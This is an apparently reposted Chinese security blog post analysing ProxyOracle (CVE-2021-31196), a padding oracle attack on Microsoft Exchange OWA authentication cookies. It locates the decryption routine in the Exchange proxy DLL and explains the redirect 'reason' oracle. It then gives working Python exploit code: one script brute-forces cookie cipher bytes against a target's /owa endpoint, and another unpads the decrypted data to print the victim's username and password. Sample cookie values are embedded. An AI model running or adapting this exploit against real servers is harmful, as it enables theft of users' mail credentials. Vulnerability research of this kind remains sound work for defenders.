ProxyOracle利用分析2——CVE-2021-31196
source link: https://3gstudent.github.io/ProxyOracle%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%902-CVE-2021-31196
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
ProxyOracle利用分析2——CVE-2021-31196
20 Aug 20210x00 前言
在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令
0x01 简介
本文将要介绍以下内容:
- 部分开源代码
0x02 实现思路
实现Padding Oracle Attack的前提条件:
1.获得密文和密文对应的IV(初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果
对应到Exchange上面,具体信息如下:
(1)获得密文和密文对应的IV(初始化向量)
Cookie信息中的cadata对应密文,cadataIV对应IV
(2)能够触发密文的解密过程,且能够知道密文的解密结果
我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:
使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
依次定位到Microsoft.Exchange.HttpProxy
-> FbaModule
-> ParseCadataCookies(HttpApplication httpApplication)
得到触发密文解密过程的方法:
访问https://<url>/owa
,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig
密文解密结果的判断:
发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功
解密结果可以通过查看LogonReason的定义进行判断
从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff
我们在尝试解密时,当reason=2,代表解密成功
当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack
注:
Exchange的Cookie有效期为12小时
0x03 部分开源代码
1.破解第0个分组的第8个字节
Python实现的完整示例代码如下:
#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()
def checkFirstByte(url, flag):
url1 = "https://" + url + "/owa/"
cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="
cipher = base64.b64decode(cadata)
bs = 16
if len(cipher) % bs != 0:
raise ValueError("The length of `cipher` must be a multiple of `bs`")
cipher_blocks = []
for i in range(0, len(cipher), bs):
cipher_blocks.append(cipher[i: i + bs])
bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag])
bytecadata = bytetempdata + cipher_blocks[1]
base64cadata = base64.b64encode(bytecadata).decode()
cookie = {
"cadata": base64cadata,
"cadataTTL": cadataTTL,
"cadataKey": cadataKey,
"cadataIV": cadataIV,
"cadataSig": cadataSig,
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)
if response.status_code == 302 and "reason" in response.text:
pattern_name = re.compile(r"reason=(.*?)\">here")
name = pattern_name.findall(response.text)
print(name[0], end='')
if name[0] == "2":
print("\ndecrypt:")
print(bytecadata)
sys.exit(0)
else:
return False
if __name__ == "__main__":
for flag in range(0, 256):
checkFirstByte("192.168.1.1", flag)
这里需要注意以下细节:
(1)0x00至0xFF遍历
for i in range(0, 256):
i = bytes([i])
print(i)
(2)密文分组
分组长度为16
(3)发送GET请求时设置allow_redirects=False
来禁用跳转
2.由填充明文到实际明文
在我们完成整个Padding Oracle Attack后,会得到一段填充的明文
由填充明文到实际明文的完整示例代码如下:
#python3
import base64
import re
def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]
if padding == 0 or padding > 16:
return 0
for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]
decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()
print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])
代码执行结果如下图
这里需要注意以下细节:
(1)得到填充明文后需要使用PKCS7进行数据填充
(2)实际明文的格式为usename:password
虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称
0x04 小结
本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK